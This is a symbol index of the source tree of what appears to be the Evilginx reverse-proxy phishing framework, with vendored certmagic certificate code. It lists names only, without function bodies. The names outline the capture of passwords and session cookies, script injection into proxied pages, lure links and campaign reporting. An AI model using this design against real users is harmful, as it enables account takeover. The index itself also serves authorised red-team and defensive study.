  constant CFG_CERTIFICATES (line 98) | CFG_CERTIFICATES = "certificates"
  constant CFG_LURES (line 99) | CFG_LURES        = "lures"
  constant CFG_PROXY (line 100) | CFG_PROXY        = "proxy"
  constant CFG_PHISHLETS (line 101) | CFG_PHISHLETS    = "phishlets"
  constant CFG_BLACKLIST (line 102) | CFG_BLACKLIST    = "blacklist"
  constant CFG_SUBPHISHLETS (line 103) | CFG_SUBPHISHLETS = "subphishlets"
  constant CFG_GOPHISH (line 104) | CFG_GOPHISH      = "gophish"
  constant DEFAULT_UNAUTH_URL (line 107) | DEFAULT_UNAUTH_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
  function NewConfig (line 109) | func NewConfig(cfg_dir string, path string) (*Config, error) {

FILE: core/gophish.go
  type GoPhish (line 12) | type GoPhish struct
    method Setup (line 27) | func (o *GoPhish) Setup(adminUrl string, apiKey string, insecureTLS bo...
    method Test (line 43) | func (o *GoPhish) Test() error {
    method ReportEmailOpened (line 54) | func (o *GoPhish) ReportEmailOpened(rid string, address string, userAg...
    method ReportEmailLinkClicked (line 75) | func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, u...
    method ReportCredentialsSubmitted (line 96) | func (o *GoPhish) ReportCredentialsSubmitted(rid string, address strin...
    method apiRequest (line 117) | func (o *GoPhish) apiRequest(reqUrl string, content []byte) error {
    method validateSetup (line 150) | func (o *GoPhish) validateSetup() error {
  type ResultRequest (line 18) | type ResultRequest struct
  function NewGoPhish (line 23) | func NewGoPhish() *GoPhish {

FILE: core/help.go
  type Help (line 12) | type Help struct
    method AddCommand (line 39) | func (h *Help) AddCommand(cmd string, category string, cmd_help string...
    method AddSubCommand (line 55) | func (h *Help) AddSubCommand(cmd string, sub_cmds []string, sub_disp s...
    method GetCommands (line 64) | func (h *Help) GetCommands() []string {
    method GetPrefixCommands (line 68) | func (h *Help) GetPrefixCommands(layer int) []string {
    method GetPrefixCompleter (line 79) | func (h *Help) GetPrefixCompleter(layer int) *readline.PrefixCompleter {
    method Print (line 93) | func (h *Help) Print(layer int) {
    method PrintBrief (line 120) | func (h *Help) PrintBrief(cmd string) error {
    method helpPrefixCompleter (line 173) | func (h *Help) helpPrefixCompleter(s string) []string {
  function NewHelp (line 24) | func NewHelp() (*Help, error) {

FILE: core/http_proxy.go
  constant CONVERT_TO_ORIGINAL_URLS (line 48) | CONVERT_TO_ORIGINAL_URLS = 0
  constant CONVERT_TO_PHISHING_URLS (line 49) | CONVERT_TO_PHISHING_URLS = 1
  constant HOME_DIR (line 53) | HOME_DIR = ".evilginx"
  constant httpReadTimeout (line 57) | httpReadTimeout  = 45 * time.Second
  constant httpWriteTimeout (line 58) | httpWriteTimeout = 45 * time.Second
  type HttpProxy (line 65) | type HttpProxy struct
    method waitForRedirectUrl (line 1252) | func (p *HttpProxy) waitForRedirectUrl(session_id string) (string, boo...
    method blockRequest (line 1272) | func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *h...
    method trackerImage (line 1292) | func (p *HttpProxy) trackerImage(req *http.Request) (*http.Request, *h...
    method interceptRequest (line 1300) | func (p *HttpProxy) interceptRequest(req *http.Request, http_status in...
    method javascriptRedirect (line 1315) | func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string)...
    method injectJavascriptIntoBody (line 1324) | func (p *HttpProxy) injectJavascriptIntoBody(body []byte, script strin...
    method isForwarderUrl (line 1344) | func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
    method extractParams (line 1361) | func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
    method replaceHtmlParams (line 1440) | func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, pa...
    method patchUrls (line 1483) | func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) [...
    method TLSConfigFromCA (line 1531) | func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.P...
    method setSessionUsername (line 1571) | func (p *HttpProxy) setSessionUsername(sid string, username string) {
    method setSessionPassword (line 1581) | func (p *HttpProxy) setSessionPassword(sid string, password string) {
    method setSessionCustom (line 1591) | func (p *HttpProxy) setSessionCustom(sid string, name string, value st...
    method httpsWorker (line 1601) | func (p *HttpProxy) httpsWorker() {
    method getPhishletByOrigHost (line 1656) | func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
    method getPhishletByPhishHost (line 1669) | func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
    method replaceHostWithOriginal (line 1698) | func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, ...
    method replaceHostWithPhished (line 1723) | func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, b...
    method replaceUrlWithPhished (line 1751) | func (p *HttpProxy) replaceUrlWithPhished(u string) (string, bool) {
    method getPhishDomain (line 1762) | func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
    method getHomeDir (line 1791) | func (p *HttpProxy) getHomeDir() string {
    method getPhishSub (line 1795) | func (p *HttpProxy) getPhishSub(hostname string) (string, bool) {
    method handleSession (line 1812) | func (p *HttpProxy) handleSession(hostname string) bool {
    method injectOgHeaders (line 1838) | func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {
    method Start (line 1861) | func (p *HttpProxy) Start() error {
    method whitelistIP (line 1866) | func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name st...
    method isWhitelistedIP (line 1875) | func (p *HttpProxy) isWhitelistedIP(ip_addr string, pl_name string) bo...
    method getSessionIdByIP (line 1888) | func (p *HttpProxy) getSessionIdByIP(ip_addr string, hostname string) ...
    method setProxy (line 1900) | func (p *HttpProxy) setProxy(enabled bool, ptype string, address strin...
  type ProxySession (line 87) | type ProxySession struct
  function SetJSONVariable (line 96) | func SetJSONVariable(body []byte, key string, value interface{}) ([]byte...
  function NewHttpProxy (line 109) | func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb...
  type dumbResponseWriter (line 1943) | type dumbResponseWriter struct
    method Header (line 1947) | func (dumb dumbResponseWriter) Header() http.Header {
    method Write (line 1951) | func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
    method WriteHeader (line 1958) | func (dumb dumbResponseWriter) WriteHeader(code int) {
    method Hijack (line 1962) | func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, ...
  function orPanic (line 1966) | func orPanic(err error) {
  function getContentType (line 1972) | func getContentType(path string, data []byte) string {
  function getSessionCookieName (line 1984) | func getSessionCookieName(pl_name string, cookie_name string) string {

FILE: core/http_server.go
  type HttpServer (line 11) | type HttpServer struct
    method Start (line 34) | func (s *HttpServer) Start() {
    method AddACMEToken (line 38) | func (s *HttpServer) AddACMEToken(token string, keyAuth string) {
    method ClearACMETokens (line 42) | func (s *HttpServer) ClearACMETokens() {
    method handleACMEChallenge (line 46) | func (s *HttpServer) handleACMEChallenge(w http.ResponseWriter, r *htt...
    method handleRedirect (line 62) | func (s *HttpServer) handleRedirect(w http.ResponseWriter, r *http.Req...
  function NewHttpServer (line 16) | func NewHttpServer() (*HttpServer, error) {

FILE: core/nameserver.go
  type Nameserver (line 16) | type Nameserver struct
    method Reset (line 37) | func (o *Nameserver) Reset() {
    method Start (line 41) | func (o *Nameserver) Start() {
    method handleRequest (line 50) | func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
  function NewNameserver (line 24) | func NewNameserver(cfg *Config) (*Nameserver, error) {
  function pdom (line 98) | func pdom(domain string) string {

FILE: core/phishlet.go
  type ProxyHost (line 15) | type ProxyHost struct
  type SubFilter (line 24) | type SubFilter struct
  type CookieAuthToken (line 34) | type CookieAuthToken struct
  type BodyAuthToken (line 43) | type BodyAuthToken struct
  type HttpAuthToken (line 50) | type HttpAuthToken struct
  type PhishletVersion (line 57) | type PhishletVersion struct
  type PostField (line 63) | type PostField struct
  type ForcePostSearch (line 70) | type ForcePostSearch struct
  type ForcePostForce (line 75) | type ForcePostForce struct
  type ForcePost (line 80) | type ForcePost struct
  type LoginUrl (line 87) | type LoginUrl struct
  type JsInject (line 92) | type JsInject struct
  type Intercept (line 100) | type Intercept struct
  type Phishlet (line 108) | type Phishlet struct
    method Clear (line 250) | func (p *Phishlet) Clear() {
    method LoadFromFile (line 271) | func (p *Phishlet) LoadFromFile(site string, path string, customParams...
    method GetPhishHosts (line 764) | func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string {
    method GetLureUrl (line 779) | func (p *Phishlet) GetLureUrl(path string) (string, error) {
    method GetLoginUrl (line 794) | func (p *Phishlet) GetLoginUrl() string {
    method GetLandingPhishHost (line 798) | func (p *Phishlet) GetLandingPhishHost() string {
    method GetScriptInject (line 810) | func (p *Phishlet) GetScriptInject(hostname string, path string, param...
    method GetScriptInjectById (line 858) | func (p *Phishlet) GetScriptInjectById(id string, params *map[string]s...
    method GenerateTokenSet (line 874) | func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[stri...
    method addProxyHost (line 892) | func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain...
    method addSubFilter (line 903) | func (p *Phishlet) addSubFilter(hostname string, subdomain string, dom...
    method addCookieAuthTokens (line 913) | func (p *Phishlet) addCookieAuthTokens(hostname string, tokens []strin...
    method addBodyAuthToken (line 949) | func (p *Phishlet) addBodyAuthToken(hostname string, path string, name...
    method addHttpAuthToken (line 969) | func (p *Phishlet) addHttpAuthToken(hostname string, path string, name...
    method addJsInject (line 985) | func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths...
    method addIntercept (line 1009) | func (p *Phishlet) addIntercept(domain string, path *regexp.Regexp, ht...
    method domainExists (line 1021) | func (p *Phishlet) domainExists(domain string) bool {
    method getAuthToken (line 1030) | func (p *Phishlet) getAuthToken(domain string, token string) *CookieAu...
    method isAuthToken (line 1045) | func (p *Phishlet) isAuthToken(domain string, token string) bool {
    method isTokenHttpOnly (line 1052) | func (p *Phishlet) isTokenHttpOnly(domain string, token string) bool {
    method MimeExists (line 1059) | func (p *Phishlet) MimeExists(mime string) bool {
    method isVersionHigherEqual (line 1063) | func (p *Phishlet) isVersionHigherEqual(pv *PhishletVersion, cver stri...
    method parseVersion (line 1078) | func (p *Phishlet) parseVersion(ver string) (PhishletVersion, error) {
    method paramVal (line 1100) | func (p *Phishlet) paramVal(s string) string {
  type ConfigParam (line 136) | type ConfigParam struct
  type ConfigProxyHost (line 142) | type ConfigProxyHost struct
  type ConfigSubFilter (line 151) | type ConfigSubFilter struct
  type ConfigAuthToken (line 162) | type ConfigAuthToken struct
  type ConfigPostField (line 172) | type ConfigPostField struct
  type ConfigCredentials (line 178) | type ConfigCredentials struct
  type ConfigForcePostSearch (line 184) | type ConfigForcePostSearch struct
  type ConfigForcePostForce (line 189) | type ConfigForcePostForce struct
  type ConfigForcePost (line 194) | type ConfigForcePost struct
  type ConfigLogin (line 201) | type ConfigLogin struct
  type ConfigJsInject (line 206) | type ConfigJsInject struct
  type ConfigIntercept (line 213) | type ConfigIntercept struct
  type ConfigPhishlet (line 221) | type ConfigPhishlet struct
  function NewPhishlet (line 237) | func NewPhishlet(site string, path string, customParams *map[string]stri...

FILE: core/scripts.go
  constant DYNAMIC_REDIRECT_JS (line 3) | DYNAMIC_REDIRECT_JS = `

FILE: core/session.go
  type Session (line 9) | type Session struct
    method SetUsername (line 61) | func (s *Session) SetUsername(username string) {
    method SetPassword (line 65) | func (s *Session) SetPassword(password string) {
    method SetCustom (line 69) | func (s *Session) SetCustom(name string, value string) {
    method AddCookieAuthToken (line 73) | func (s *Session) AddCookieAuthToken(domain string, key string, value ...
    method AllCookieAuthTokensCaptured (line 93) | func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]...
    method Finish (line 132) | func (s *Session) Finish(is_auth_url bool) {
  function NewSession (line 33) | func NewSession(name string) (*Session, error) {

FILE: core/shared.go
  function combineHost (line 5) | func combineHost(sub string, domain string) string {
  function obfuscateDots (line 12) | func obfuscateDots(s string) string {
  function removeObfuscatedDots (line 16) | func removeObfuscatedDots(s string) string {
  function stringExists (line 20) | func stringExists(s string, sa []string) bool {
  function intExists (line 29) | func intExists(i int, ia []int) bool {
  function removeString (line 38) | func removeString(s string, sa []string) []string {
  function truncateString (line 47) | func truncateString(s string, maxLen int) string {

FILE: core/table.go
  function viewLen (line 19) | func viewLen(s string) int {
  function truncString (line 27) | func truncString(s string, maxLen int) string {
  function maxLen (line 45) | func maxLen(strings []string) int {
  type Alignment (line 56) | type Alignment
  constant AlignLeft (line 59) | AlignLeft   = Alignment(0)
  constant AlignCenter (line 60) | AlignCenter = Alignment(1)
  constant AlignRight (line 61) | AlignRight  = Alignment(2)
  constant minColLen (line 64) | minColLen = 16
  function getPads (line 66) | func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
  function padded (line 84) | func padded(s string, maxLen int, align Alignment) string {
  function AsTable (line 89) | func AsTable(columns []string, rows [][]string) string {
  function AsRows (line 147) | func AsRows(keys []string, vals []string) string {
  function AsDescription (line 157) | func AsDescription(keys []string, vals []string) string {

FILE: core/terminal.go
  constant DEFAULT_PROMPT (line 31) | DEFAULT_PROMPT = ": "
  constant LAYER_TOP (line 32) | LAYER_TOP      = 1
  type Terminal (line 35) | type Terminal struct
    method Close (line 72) | func (t *Terminal) Close() {
    method output (line 76) | func (t *Terminal) output(s string, args ...interface{}) {
    method DoWork (line 81) | func (t *Terminal) DoWork() {
    method handleConfig (line 182) | func (t *Terminal) handleConfig(args []string) error {
    method handleBlacklist (line 276) | func (t *Terminal) handleBlacklist(args []string) error {
    method handleProxy (line 318) | func (t *Terminal) handleProxy(args []string) error {
    method handleSessions (line 389) | func (t *Terminal) handleSessions(args []string) error {
    method handlePhishlets (line 563) | func (t *Terminal) handlePhishlets(args []string) error {
    method handleLures (line 702) | func (t *Terminal) handleLures(args []string) error {
    method monitorLurePause (line 1134) | func (t *Terminal) monitorLurePause() {
    method createHelp (line 1161) | func (t *Terminal) createHelp() {
    method cookieTokensToJSON (line 1259) | func (t *Terminal) cookieTokensToJSON(tokens map[string]map[string]*da...
    method tokensToJSON (line 1307) | func (t *Terminal) tokensToJSON(tokens map[string]string) string {
    method checkStatus (line 1316) | func (t *Terminal) checkStatus() {
    method manageCertificates (line 1325) | func (t *Terminal) manageCertificates(verbose bool) {
    method sprintPhishletStatus (line 1355) | func (t *Terminal) sprintPhishletStatus(site string) string {
    method sprintIsEnabled (line 1419) | func (t *Terminal) sprintIsEnabled(enabled bool) string {
    method sprintLures (line 1430) | func (t *Terminal) sprintLures() string {
    method phishletPrefixCompleter (line 1470) | func (t *Terminal) phishletPrefixCompleter(args string) []string {
    method redirectorsPrefixCompleter (line 1474) | func (t *Terminal) redirectorsPrefixCompleter(args string) []string {
    method luresIdPrefixCompleter (line 1504) | func (t *Terminal) luresIdPrefixCompleter(args string) []string {
    method importParamsFromFile (line 1512) | func (t *Terminal) importParamsFromFile(base_url string, path string) ...
    method exportPhishUrls (line 1665) | func (t *Terminal) exportPhishUrls(export_path string, phish_urls []st...
    method createPhishUrl (line 1765) | func (t *Terminal) createPhishUrl(base_url string, params *url.Values)...
    method sprintVar (line 1789) | func (t *Terminal) sprintVar(k string, v string) string {
    method filterInput (line 1794) | func (t *Terminal) filterInput(r rune) (rune, bool) {
  function NewTerminal (line 46) | func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database...

FILE: core/utils.go
  function GenRandomToken (line 15) | func GenRandomToken() string {
  function GenRandomString (line 23) | func GenRandomString(n int) string {
  function GenRandomAlphanumString (line 34) | func GenRandomAlphanumString(n int) string {
  function CreateDir (line 45) | func CreateDir(path string, perm os.FileMode) error {
  function ReadFromFile (line 55) | func ReadFromFile(path string) ([]byte, error) {
  function SaveToFile (line 68) | func SaveToFile(b []byte, fpath string, perm fs.FileMode) error {
  function ParseDurationString (line 82) | func ParseDurationString(s string) (t_dur time.Duration, err error) {
  function GetDurationString (line 134) | func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) {

FILE: database/database.go
  type Database (line 10) | type Database struct
    method CreateSession (line 32) | func (d *Database) CreateSession(sid string, phishlet string, landing_...
    method ListSessions (line 37) | func (d *Database) ListSessions() ([]*Session, error) {
    method SetSessionUsername (line 42) | func (d *Database) SetSessionUsername(sid string, username string) err...
    method SetSessionPassword (line 47) | func (d *Database) SetSessionPassword(sid string, password string) err...
    method SetSessionCustom (line 52) | func (d *Database) SetSessionCustom(sid string, name string, value str...
    method SetSessionBodyTokens (line 57) | func (d *Database) SetSessionBodyTokens(sid string, tokens map[string]...
    method SetSessionHttpTokens (line 62) | func (d *Database) SetSessionHttpTokens(sid string, tokens map[string]...
    method SetSessionCookieTokens (line 67) | func (d *Database) SetSessionCookieTokens(sid string, tokens map[strin...
    method DeleteSession (line 72) | func (d *Database) DeleteSession(sid string) error {
    method DeleteSessionById (line 81) | func (d *Database) DeleteSessionById(id int) error {
    method Flush (line 90) | func (d *Database) Flush() {
    method genIndex (line 94) | func (d *Database) genIndex(table_name string, id int) string {
    method getLastId (line 98) | func (d *Database) getLastId(table_name string) (int, error) {
    method getNextId (line 114) | func (d *Database) getNextId(table_name string) (int, error) {
    method getPivot (line 130) | func (d *Database) getPivot(t interface{}) string {
  function NewDatabase (line 15) | func NewDatabase(path string) (*Database, error) {

FILE: database/db_session.go
  constant SessionTable (line 11) | SessionTable = "sessions"
  type Session (line 13) | type Session struct
  type CookieToken (line 30) | type CookieToken struct
  method sessionsInit (line 37) | func (d *Database) sessionsInit() {
  method sessionsCreate (line 42) | func (d *Database) sessionsCreate(sid string, phishlet string, landing_u...
  method sessionsList (line 79) | func (d *Database) sessionsList() ([]*Session, error) {
  method sessionsUpdateUsername (line 97) | func (d *Database) sessionsUpdateUsername(sid string, username string) e...
  method sessionsUpdatePassword (line 109) | func (d *Database) sessionsUpdatePassword(sid string, password string) e...
  method sessionsUpdateCustom (line 121) | func (d *Database) sessionsUpdateCustom(sid string, name string, value s...
  method sessionsUpdateBodyTokens (line 133) | func (d *Database) sessionsUpdateBodyTokens(sid string, tokens map[strin...
  method sessionsUpdateHttpTokens (line 145) | func (d *Database) sessionsUpdateHttpTokens(sid string, tokens map[strin...
  method sessionsUpdateCookieTokens (line 157) | func (d *Database) sessionsUpdateCookieTokens(sid string, tokens map[str...
  method sessionsUpdate (line 169) | func (d *Database) sessionsUpdate(id int, s *Session) error {
  method sessionsDelete (line 179) | func (d *Database) sessionsDelete(id int) error {
  method sessionsGetById (line 187) | func (d *Database) sessionsGetById(id int) (*Session, error) {
  method sessionsGetBySid (line 207) | func (d *Database) sessionsGetBySid(sid string) (*Session, error) {

FILE: log/log.go
  constant DEBUG (line 20) | DEBUG = iota
  constant INFO (line 21) | INFO
  constant IMPORTANT (line 22) | IMPORTANT
  constant WARNING (line 23) | WARNING
  constant ERROR (line 24) | ERROR
  constant FATAL (line 25) | FATAL
  constant SUCCESS (line 26) | SUCCESS
  function DebugEnable (line 39) | func DebugEnable(enable bool) {
  function SetOutput (line 43) | func SetOutput(o io.Writer) {
  function SetReadline (line 47) | func SetReadline(rl *readline.Instance) {
  function GetOutput (line 51) | func GetOutput() io.Writer {
  function NullLogger (line 55) | func NullLogger() *log.Logger {
  function refreshReadline (line 59) | func refreshReadline() {
  function Debug (line 65) | func Debug(format string, args ...interface{}) {
  function Info (line 75) | func Info(format string, args ...interface{}) {
  function Important (line 83) | func Important(format string, args ...interface{}) {
  function Warning (line 91) | func Warning(format string, args ...interface{}) {
  function Error (line 99) | func Error(format string, args ...interface{}) {
  function Fatal (line 107) | func Fatal(format string, args ...interface{}) {
  function Success (line 115) | func Success(format string, args ...interface{}) {
  function Printf (line 123) | func Printf(format string, args ...interface{}) {
  function format_msg (line 131) | func format_msg(lvl int, format string, args ...interface{}) string {

FILE: main.go
  function joinPath (line 28) | func joinPath(base_path string, rel_path string) string {
  function showEvilginxProAd (line 38) | func showEvilginxProAd() {
  function showEvilginxMasteryAd (line 46) | func showEvilginxMasteryAd() {
  function main (line 54) | func main() {

FILE: parser/parser.go
  function isSpace (line 12) | func isSpace(r rune) bool {
  type Parser (line 20) | type Parser struct
    method Parse (line 27) | func (p *Parser) Parse(line string) ([]string, error) {
  function NewParser (line 23) | func NewParser() *Parser {
  function Parse (line 91) | func Parse(line string) ([]string, error) {

FILE: vendor/github.com/caddyserver/certmagic/account.go
  method getAccount (line 40) | func (am *ACMEIssuer) getAccount(ctx context.Context, ca, email string) ...
  method loadAccount (line 49) | func (am *ACMEIssuer) loadAccount(ctx context.Context, ca, email string)...
  method newAccount (line 74) | func (*ACMEIssuer) newAccount(email string) (acme.Account, error) {
  method GetAccount (line 90) | func (am *ACMEIssuer) GetAccount(ctx context.Context, privateKeyPEM []by...
  method loadAccountByKey (line 101) | func (am *ACMEIssuer) loadAccountByKey(ctx context.Context, privateKeyPE...
  method lookUpAccount (line 121) | func (am *ACMEIssuer) lookUpAccount(ctx context.Context, privateKeyPEM [...
  method saveAccount (line 150) | func (am *ACMEIssuer) saveAccount(ctx context.Context, ca string, accoun...
  method setEmail (line 181) | func (am *ACMEIssuer) setEmail(ctx context.Context, allowPrompts bool) e...
  method promptUserForEmail (line 237) | func (am *ACMEIssuer) promptUserForEmail() (string, error) {
  method promptUserAgreement (line 256) | func (am *ACMEIssuer) promptUserAgreement(agreementURL string) {
  method askUserAgreement (line 269) | func (am *ACMEIssuer) askUserAgreement(agreementURL string) bool {
  function storageKeyACMECAPrefix (line 283) | func storageKeyACMECAPrefix(issuerKey string) string {
  method storageKeyCAPrefix (line 287) | func (am *ACMEIssuer) storageKeyCAPrefix(caURL string) string {
  method storageKeyUsersPrefix (line 291) | func (am *ACMEIssuer) storageKeyUsersPrefix(caURL string) string {
  method storageKeyUserPrefix (line 295) | func (am *ACMEIssuer) storageKeyUserPrefix(caURL, email string) string {
  method storageKeyUserReg (line 302) | func (am *ACMEIssuer) storageKeyUserReg(caURL, email string) string {
  method storageKeyUserPrivateKey (line 306) | func (am *ACMEIssuer) storageKeyUserPrivateKey(caURL, email string) stri...
  method storageSafeUserKey (line 312) | func (am *ACMEIssuer) storageSafeUserKey(ca, email, defaultFilename, ext...
  method emailUsername (line 327) | func (*ACMEIssuer) emailUsername(email string) string {
  method mostRecentAccountEmail (line 341) | func (am *ACMEIssuer) mostRecentAccountEmail(ctx context.Context, caURL ...
  function getPrimaryContact (line 390) | func getPrimaryContact(account acme.Account) string {
  constant emptyEmail (line 417) | emptyEmail = "default"

FILE: vendor/github.com/caddyserver/certmagic/acmeclient.go
  function init (line 34) | func init() {
  type acmeClient (line 41) | type acmeClient struct
    method throttle (line 251) | func (c *acmeClient) throttle(ctx context.Context, names []string) err...
    method usingTestCA (line 281) | func (c *acmeClient) usingTestCA() bool {
    method revoke (line 285) | func (c *acmeClient) revoke(ctx context.Context, cert *x509.Certificat...
  method newACMEClientWithAccount (line 50) | func (iss *ACMEIssuer) newACMEClientWithAccount(ctx context.Context, use...
  method newACMEClient (line 143) | func (iss *ACMEIssuer) newACMEClient(useTestCA bool) (*acmez.Client, err...
  function buildUAString (line 290) | func buildUAString() string {

FILE: vendor/github.com/caddyserver/certmagic/acmeissuer.go
  type ACMEIssuer (line 29) | type ACMEIssuer struct
    method IssuerKey (line 259) | func (am *ACMEIssuer) IssuerKey() string {
    method issuerKey (line 263) | func (*ACMEIssuer) issuerKey(ca string) string {
    method getEmail (line 285) | func (iss *ACMEIssuer) getEmail() string {
    method isAgreed (line 291) | func (iss *ACMEIssuer) isAgreed() bool {
    method PreCheck (line 301) | func (am *ACMEIssuer) PreCheck(ctx context.Context, names []string, in...
    method Issue (line 315) | func (am *ACMEIssuer) Issue(ctx context.Context, csr *x509.Certificate...
    method doIssue (line 381) | func (am *ACMEIssuer) doIssue(ctx context.Context, csr *x509.Certifica...
    method selectPreferredChain (line 417) | func (am *ACMEIssuer) selectPreferredChain(certChains []acme.Certifica...
    method Revoke (line 487) | func (am *ACMEIssuer) Revoke(ctx context.Context, cert CertificateReso...
  function NewACMEIssuer (line 146) | func NewACMEIssuer(cfg *Config, template ACMEIssuer) *ACMEIssuer {
  type ChainPreference (line 504) | type ChainPreference struct
  constant LetsEncryptStagingCA (line 528) | LetsEncryptStagingCA    = "https://acme-staging-v02.api.letsencrypt.org/...
  constant LetsEncryptProductionCA (line 529) | LetsEncryptProductionCA = "https://acme-v02.api.letsencrypt.org/directory"
  constant ZeroSSLProductionCA (line 530) | ZeroSSLProductionCA     = "https://acme.zerossl.com/v2/DV90"
  constant prefixACME (line 534) | prefixACME = "acme"

FILE: vendor/github.com/caddyserver/certmagic/async.go
  type jobManager (line 16) | type jobManager struct
    method Submit (line 34) | func (jm *jobManager) Submit(logger *zap.Logger, name string, job func...
    method worker (line 54) | func (jm *jobManager) worker() {
  type namedJob (line 24) | type namedJob struct
  function doWithRetry (line 84) | func doWithRetry(ctx context.Context, log *zap.Logger, f func(context.Co...
  type ErrNoRetry (line 139) | type ErrNoRetry struct
    method Unwrap (line 142) | func (e ErrNoRetry) Unwrap() error { return e.Err }
    method Error (line 143) | func (e ErrNoRetry) Error() string { return e.Err.Error() }
  type retryStateCtxKey (line 145) | type retryStateCtxKey struct
  constant maxRetryDuration (line 195) | maxRetryDuration = 24 * time.Hour * 30

FILE: vendor/github.com/caddyserver/certmagic/cache.go
  type Cache (line 49) | type Cache struct
    method SetOptions (line 132) | func (certCache *Cache) SetOptions(opts CacheOptions) {
    method Stop (line 142) | func (certCache *Cache) Stop() {
    method cacheCertificate (line 195) | func (certCache *Cache) cacheCertificate(cert Certificate) {
    method unsyncedCacheCertificate (line 207) | func (certCache *Cache) unsyncedCacheCertificate(cert Certificate) {
    method removeCertificate (line 286) | func (certCache *Cache) removeCertificate(cert Certificate) {
    method replaceCertificate (line 322) | func (certCache *Cache) replaceCertificate(oldCert, newCert Certificat...
    method getAllMatchingCerts (line 334) | func (certCache *Cache) getAllMatchingCerts(subject string) []Certific...
    method getAllCerts (line 348) | func (certCache *Cache) getAllCerts() []Certificate {
    method getConfig (line 358) | func (certCache *Cache) getConfig(cert Certificate) (*Config, error) {
    method AllMatchingCertificates (line 381) | func (certCache *Cache) AllMatchingCertificates(name string) []Certifi...
    method RemoveManaged (line 399) | func (certCache *Cache) RemoveManaged(subjects []string) {
    method Remove (line 415) | func (certCache *Cache) Remove(hashes []string) {
  function NewCache (line 94) | func NewCache(opts CacheOptions) *Cache {
  type CacheOptions (line 150) | type CacheOptions struct
  type ConfigGetter (line 190) | type ConfigGetter

FILE: vendor/github.com/caddyserver/certmagic/certificates.go
  type Certificate (line 35) | type Certificate struct
    method Empty (line 63) | func (cert Certificate) Empty() bool {
    method Hash (line 68) | func (cert Certificate) Hash() string { return cert.hash }
    method NeedsRenewal (line 72) | func (cert Certificate) NeedsRenewal(cfg *Config) bool {
    method Expired (line 77) | func (cert Certificate) Expired() bool {
    method HasTag (line 106) | func (cert Certificate) HasTag(tag string) bool {
  function currentlyInRenewalWindow (line 92) | func currentlyInRenewalWindow(notBefore, notAfter time.Time, renewalWind...
  function expiresAt (line 118) | func expiresAt(cert *x509.Certificate) time.Time {
  method CacheManagedCertificate (line 132) | func (cfg *Config) CacheManagedCertificate(ctx context.Context, domain s...
  method loadManagedCertificate (line 145) | func (cfg *Config) loadManagedCertificate(ctx context.Context, domain st...
  method CacheUnmanagedCertificatePEMFile (line 164) | func (cfg *Config) CacheUnmanagedCertificatePEMFile(ctx context.Context,...
  method CacheUnmanagedTLSCertificate (line 182) | func (cfg *Config) CacheUnmanagedTLSCertificate(ctx context.Context, tls...
  method CacheUnmanagedCertificatePEMBytes (line 203) | func (cfg *Config) CacheUnmanagedCertificatePEMBytes(ctx context.Context...
  method makeCertificateFromDiskWithOCSP (line 218) | func (cfg Config) makeCertificateFromDiskWithOCSP(ctx context.Context, s...
  method makeCertificateWithOCSP (line 232) | func (cfg Config) makeCertificateWithOCSP(ctx context.Context, certPEMBl...
  function makeCertificate (line 249) | func makeCertificate(certPEMBlock, keyPEMBlock []byte) (Certificate, err...
  function fillCertFromLeaf (line 269) | func fillCertFromLeaf(cert *Certificate, tlsCert tls.Certificate) error {
  method managedCertInStorageExpiresSoon (line 331) | func (cfg *Config) managedCertInStorageExpiresSoon(ctx context.Context, ...
  method reloadManagedCertificate (line 345) | func (cfg *Config) reloadManagedCertificate(ctx context.Context, oldCert...
  function SubjectQualifiesForCert (line 361) | func SubjectQualifiesForCert(subj string) bool {
  function SubjectQualifiesForPublicCert (line 384) | func SubjectQualifiesForPublicCert(subj string) bool {
  function SubjectIsIP (line 404) | func SubjectIsIP(subj string) bool {
  function SubjectIsInternal (line 410) | func SubjectIsInternal(subj string) bool {
  function MatchWildcard (line 425) | func MatchWildcard(subject, wildcard string) bool {

FILE: vendor/github.com/caddyserver/certmagic/certmagic.go
  function HTTPS (line 72) | func HTTPS(domainNames []string, mux http.Handler) error {
  function httpRedirectHandler (line 156) | func httpRedirectHandler(w http.ResponseWriter, r *http.Request) {
  function TLS (line 185) | func TLS(domainNames []string) (*tls.Config, error) {
  function Listen (line 202) | func Listen(domainNames []string) (net.Listener, error) {
  function ManageSync (line 234) | func ManageSync(ctx context.Context, domainNames []string) error {
  function ManageAsync (line 247) | func ManageAsync(ctx context.Context, domainNames []string) error {
  type OnDemandConfig (line 266) | type OnDemandConfig struct
  function isLoopback (line 308) | func isLoopback(addr string) bool {
  function isInternal (line 319) | func isInternal(addr string) bool {
  function hostOnly (line 343) | func hostOnly(hostport string) string {
  type PreChecker (line 355) | type PreChecker interface
  type Issuer (line 360) | type Issuer interface
  type Revoker (line 385) | type Revoker interface
  type Manager (line 394) | type Manager interface
  type KeyGenerator (line 402) | type KeyGenerator interface
  type IssuerPolicy (line 412) | type IssuerPolicy
